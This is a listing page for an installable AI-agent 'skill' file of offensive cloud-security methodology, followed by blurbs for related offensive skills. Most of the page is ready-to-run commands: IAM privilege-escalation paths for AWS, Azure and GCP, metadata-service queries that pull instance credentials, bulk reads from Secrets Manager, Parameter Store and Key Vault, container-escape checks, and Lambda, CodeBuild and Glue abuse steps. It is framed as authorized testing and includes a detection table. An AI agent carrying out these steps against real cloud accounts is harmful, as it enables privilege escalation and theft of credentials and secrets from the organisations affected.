offensive-techniques/cloud-security-technique/SKILL.md
Cloud security assessment methodology for AWS, Azure, and GCP environments. Covers IAM enumeration and privilege escalation (31+ paths), storage bucket discovery and abuse, metadata service exploitation (IMDSv1/v2), container/Kubernetes escape and pivot, serverless and managed-service abuse (Lambda, Glue, CodeBuild, SageMaker, Automation Accounts), OIDC/workload identity federation abuse, Service Principal and Managed Identity escalation, secrets and environment variable harvesting. Use when you have cloud credentials, a cloud account ID, or shell access in a cloud workload and need to enumerate, escalate, or pivot within the cloud environment.
npx skillsauth add aeondave/malskill cloud-security-techniqueInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: from cloud credential, account ID, or workload shell to maximum demonstrated impact within the authorized cloud scope.
recon-technique: cloud asset discovery (bucket names, subdomain patterns, provider prefix lists).post-exploit-technique: shell on cloud workload, harvested cloud credentials.web-exploit-technique (SSRF to metadata, API auth bypass).offensive-coding/linux-internals-dev/.cracking-technique.Before enumerating broadly, classify the cloud entry point and map it to the smallest high-signal decision path.
aws-cli, gcloud-cli, Azure CLI-equivalent workflow, pacu) for identity and permission mapping; use storage/service skills after permissions are known; use workload and container references only when the foothold is inside compute.Entry point classification:
A. Cloud credentials (keys, tokens, service principals) → Phase 1 → Phase 2
B. Shell in cloud workload (EC2/VM/container/Lambda) → Phase 3 → Phase 1
C. Account ID / org name only (no creds) → Phase 4 (passive enum)
Loop:
1. IAM enumeration — map permissions and privilege escalation paths.
2. Storage and service abuse — find exposed data and exploitable services.
3. Workload exploitation — metadata service, container escape, serverless injection.
4. Cross-account pivot — role assumption, trust relationships, organization traversal.
5. Impact demonstration — data access, persistence, privilege escalation proof.
Map what the current identity can do before attempting escalation.
# Who am I?
aws sts get-caller-identity
# List attached policies
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user>
# List inline policies
aws iam get-user-policy --user-name <user> --policy-name <policy>
# List groups and their policies
aws iam list-groups-for-user --user-name <user>
aws iam list-attached-group-policies --group-name <group>
# List roles the user can assume
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument]'
# Check permissions boundary
aws iam get-user --user-name <user> --query 'User.PermissionsBoundary'
# Enumerate all actions allowed (use PMapper or enumerate-iam)
enumerate-iam --access-key <AK> --secret-key <SK>
AWS IAM privilege escalation — complete path matrix (31+ confirmed paths):
| Permission | Escalation method |
|---|---|
| iam:CreatePolicyVersion | Create new policy version with AdministratorAccess |
| iam:SetDefaultPolicyVersion | Restore an older, more permissive version |
| iam:AttachUserPolicy / iam:AttachRolePolicy / iam:AttachGroupPolicy | Attach AdminPolicy to self/role/group |
| iam:PutUserPolicy / iam:PutRolePolicy / iam:PutGroupPolicy | Inject inline admin policy |
| iam:AddUserToGroup | Join an admin group |
| iam:UpdateAssumeRolePolicy + sts:AssumeRole | Allow yourself to assume any role |
| iam:CreateAccessKey on another user | Create keys for a high-privilege user |
| iam:CreateLoginProfile / iam:UpdateLoginProfile | Console access for any user |
| iam:PassRole + ec2:RunInstances | Launch EC2 with high-privilege instance profile → query IMDS |
| iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction | Lambda function with high-priv role |
| iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping | Lambda triggered via DynamoDB stream |
| lambda:UpdateFunctionCode | Overwrite existing Lambda with high-priv role |
| iam:PassRole + glue:CreateDevEndpoint | Glue endpoint SSH → credentials via IMDS |
| glue:UpdateDevEndpoint | Inject SSH key into existing endpoint |
| iam:PassRole + cloudformation:CreateStack | CloudFormation stack runs code with passed role |
| cloudformation:UpdateStack | Update existing stack to execute arbitrary code |
| iam:PassRole + datapipeline:CreatePipeline + datapipeline:PutPipelineDefinition | Data Pipeline with high-priv role |
| iam:PassRole + codebuild:CreateProject | CodeBuild project executes arbitrary commands with role |
| iam:PassRole + sagemaker:CreateNotebookInstance | SageMaker notebook queries IMDS |
| sagemaker:CreatePresignedNotebookInstanceUrl | Get signed URL for existing notebook |
| ssm:SendCommand on EC2 | Run commands on instance (no SSH needed) |
| ssm:StartSession on EC2 | Interactive shell via SSM |
| ec2instanceconnect:SendSSHPublicKey | Push ephemeral SSH key to EC2 |
| sts:AssumeRole | Direct role assumption if trust allows |
Key tool: pacu (offensive AWS framework), enumerate-iam, PMapper, Cloudsplaining for automated path finding.
OIDC / Workload Identity Federation abuse (modern vector):
Condition on trust policies.sub wildcard (token.actions.githubusercontent.com:sub: repo:org/*) allows any repo in the org to assume the role.aws iam list-open-id-connect-providersaws iam get-role --role-name <role> --query 'Role.AssumeRolePolicyDocument'# Who am I?
az account show
az ad signed-in-user show
# List RBAC assignments
az role assignment list --assignee <user> --all
# List all roles
az role definition list --query "[].{name:name, roleName:roleName}"
# Check Entra ID roles
az rest --method GET --uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf"
# Enumerate subscriptions
az account list --output table
# Managed identity check
az vm show --name <vm> --resource-group <rg> --query identity
Azure privilege escalation paths:
Microsoft.Authorization/roleAssignments/write → grant yourself Subscription Owner.# From inside a VM with Managed Identity
az login --identity
az role assignment list --assignee $(az account list --query '[0].id' -o tsv) --all
# Or via IMDS directly
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Microsoft.Compute/virtualMachines/runCommand/action → execute commands on any VM with contributor rights.Application.ReadWrite.All → add credentials to any app registration → impersonate app with its permissions.AppRoleAssignment.ReadWrite.All + RoleManagement.ReadWrite.Directory → grant Global Admin to a controlled SP.Mail.Read, Files.ReadWrite.All, User.ReadWrite.All, target admin for consent → persistent access without credentials.Enumerate Entra ID (Azure AD) roles:
az rest --method GET \
--uri 'https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?$expand=principal,roleDefinition'
Key tools: MicroBurst (Azure subdomain enum + storage enum), AzureHound (BloodHound for Azure), GraphRunner (Graph API abuse).
# Who am I?
gcloud auth list
gcloud config list
# List IAM policies at project level
gcloud projects get-iam-policy <project-id>
# Test specific permission
gcloud projects get-iam-policy <project-id> --flatten="bindings[].members" --format="table(bindings.role)"
# List service accounts
gcloud iam service-accounts list
# Check if current SA can impersonate others
gcloud iam service-accounts get-iam-policy <sa>@<project>.iam.gserviceaccount.com
GCP privilege escalation paths:
iam.serviceAccounts.actAs → impersonate any service account via --impersonate-service-account.iam.serviceAccountKeys.create → create a persistent key for a high-privilege SA.iam.roles.update → add permissions to a custom role you own.compute.instances.setServiceAccount → replace instance SA with a higher-privilege one.cloudfunctions.functions.create + iam.serviceAccounts.actAs → Cloud Function with high-priv SA.iam.serviceAccounts.implicitDelegation → chain service account impersonation.# List workload identity pools
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list --workload-identity-pool=<pool> --location=global
Key tools: gcp_scanner, GCPBucketBrute, ScoutSuite for GCP.
Secrets frequently leak through cloud-native mechanisms before IAM escalation is needed.
# AWS: EC2 User Data (often contains bootstrap secrets)
aws ec2 describe-instance-attribute --instance-id <id> --attribute userData \
--query 'UserData.Value' --output text | base64 -d
# AWS: Lambda environment variables
aws lambda get-function-configuration --function-name <name> \
--query 'Environment.Variables'
# AWS: Elastic Beanstalk environment properties
aws elasticbeanstalk describe-configuration-settings \
--application-name <app> --environment-name <env> \
--query 'ConfigurationSettings[].OptionSettings[?Namespace==`aws:elasticbeanstalk:application:environment`]'
# AWS: ECS task definition environment variables
aws ecs describe-task-definition --task-definition <name> \
--query 'taskDefinition.containerDefinitions[].environment'
# AWS: Systems Manager Parameter Store
aws ssm describe-parameters
aws ssm get-parameters-by-path --path / --recursive --with-decryption
# AWS: Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <arn>
# AWS: SNS — subscribe to topics to observe messages (check for API keys in event payloads)
aws sns list-topics
aws sns subscribe --topic-arn <arn> --protocol email --notification-endpoint <your@email>
# Azure: Key Vault secrets
az keyvault list
az keyvault secret list --vault-name <vault>
az keyvault secret show --name <name> --vault-name <vault>
# GCP: Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>
# List buckets (if s3:ListAllMyBuckets allowed)
aws s3 ls
# Enumerate bucket contents
aws s3 ls s3://<bucket-name> --no-sign-request # public bucket
aws s3 ls s3://<bucket-name> # authenticated
# Check bucket policy
aws s3api get-bucket-policy --bucket <bucket-name>
aws s3api get-bucket-acl --bucket <bucket-name>
# Check if bucket allows write
echo "test" | aws s3 cp - s3://<bucket-name>/test.txt
# Enumerate via tools
s3scanner scan --bucket <bucket-name>
# List storage accounts
az storage account list
# Enumerate blobs (public container)
az storage blob list --account-name <account> --container-name <container> --auth-mode anonymous
# Check SAS tokens in URLs
# Look for: ?sv=...&se=...&sig=... in URLs
# List buckets
gsutil ls
# Enumerate public bucket
gsutil ls gs://<bucket-name>
# Check IAM on bucket
gsutil iam get gs://<bucket-name>
# AWS IMDSv1 (no hop limit)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/user-data/
# AWS IMDSv2 (requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
# Azure IMDS
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP metadata
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
See references/container-escape.md for full methodology. Quick triage:
# Check for privileged mode
capsh --print | grep -i sys_admin
# Check for Docker socket
ls -la /var/run/docker.sock
# Check for hostPath mounts
mount | grep -E "^/dev|^/proc|/host"
# Check for hostPID
ps -ef | grep -v "^root" | head -5
# Check service account permissions
kubectl auth can-i --list 2>/dev/null
# List functions (AWS)
aws lambda list-functions
# Get function environment variables (may contain secrets)
aws lambda get-function-configuration --function-name <name>
# Invoke function with crafted event
aws lambda invoke --function-name <name> --payload file://event.json output.txt
# Update function code to exfiltrate role credentials (if lambda:UpdateFunctionCode)
import boto3, os, json
def lambda_handler(event, context):
sts = boto3.client('sts')
return sts.get_caller_identity() # Replace with desired action
# CodeBuild: create project with high-priv role (if iam:PassRole + codebuild:CreateProject)
aws codebuild create-project \
--name my-project \
--source type=NO_SOURCE,buildspec="version: 0.2\nphases:\n build:\n commands:\n - aws sts get-caller-identity" \
--artifacts type=NO_ARTIFACTS \
--service-role <high-priv-role-arn> \
--environment type=LINUX_CONTAINER,computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0
aws codebuild start-build --project-name my-project
# SageMaker: get presigned URL for existing notebook (if sagemaker:CreatePresignedNotebookInstanceUrl)
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
# Glue: update dev endpoint SSH key (if glue:UpdateDevEndpoint)
aws glue update-dev-endpoint \
--endpoint-name <name> \
--public-key file://~/.ssh/id_rsa.pub
# Bucket enumeration
s3scanner scan --bucket <target>
gcp-bucket-scanner <target>
# CT log search for cloud subdomains
# Search: target.s3.amazonaws.com, target.blob.core.windows.net, target.storage.googleapis.com
# Cloud provider prefix lists
# AWS: https://ip-ranges.amazonaws.com/ip-ranges.json
# Azure: https://download.microsoft.com/download/.../ServiceTags_Public_<date>.json
# GCP: https://www.gstatic.com/ipranges/cloud.json
| Cloud | API call / event | Attack it reveals |
|-------|-----------------|-------------------|
| AWS | iam:CreatePolicyVersion | Policy-version escalation |
| AWS | iam:AttachUserPolicy / iam:PutUserPolicy | Direct policy attachment |
| AWS | iam:CreateAccessKey on another user | Key creation for lateral move |
| AWS | iam:UpdateLoginProfile on another user | Console password hijack |
| AWS | s3:GetObject high volume or s3:ListBucket on multiple buckets | Storage enumeration |
| AWS | ec2:RunInstances with IamInstanceProfile (non-standard role) | PassRole → EC2 escalation |
| AWS | lambda:UpdateFunctionCode | Lambda code injection |
| AWS | ssm:SendCommand / ssm:StartSession | No-SSH lateral movement |
| AWS | sts:AssumeRole from unexpected principal | Cross-account pivot |
| AWS | secretsmanager:GetSecretValue / ssm:GetParameters (new principal) | Secrets harvest |
| AWS | EC2 IMDS credentials used outside the instance (GuardDuty: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration) | Credential exfiltration |
| Azure | Microsoft.Authorization/roleAssignments/write | RBAC escalation |
| Azure | Microsoft.KeyVault/vaults/secrets/read | Key Vault enumeration |
| Azure | Microsoft.Compute/virtualMachines/runCommand/action | VM command execution |
| Azure | Managed Identity sign-in from unexpected IP | Managed Identity abuse |
| Azure | App role assignment for high-privilege Graph permission | Service Principal escalation |
| GCP | iam.serviceAccountKeys.create | SA key theft |
| GCP | compute.instances.setServiceAccount | Privilege escalation |
| GCP | cloudfunctions.functions.create with high-priv SA | Serverless escalation |
enumerate-iam against production without rate limiting → API throttling / CloudTrail flood.InstanceCredentialExfiltration alert fires immediately.>1 allows forwarding through SSRF.references/container-escape.md — full container/K8s escape methodology: posture enumeration, escape primitive scoring, common techniques (cgroup, Docker socket, hostPath, kubelet API), K8s SA pivot, cloud metadata pivot, and safety rules.references/cloud-iam-escalation.md — detailed IAM privilege escalation paths per provider with exact CLI commands and detection signatures.references/subdomain-takeover.md — subdomain takeover discovery and validation: CNAME fingerprinting for deprovisioned cloud services, automated validation with subjack/nuclei, and validation rules.data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.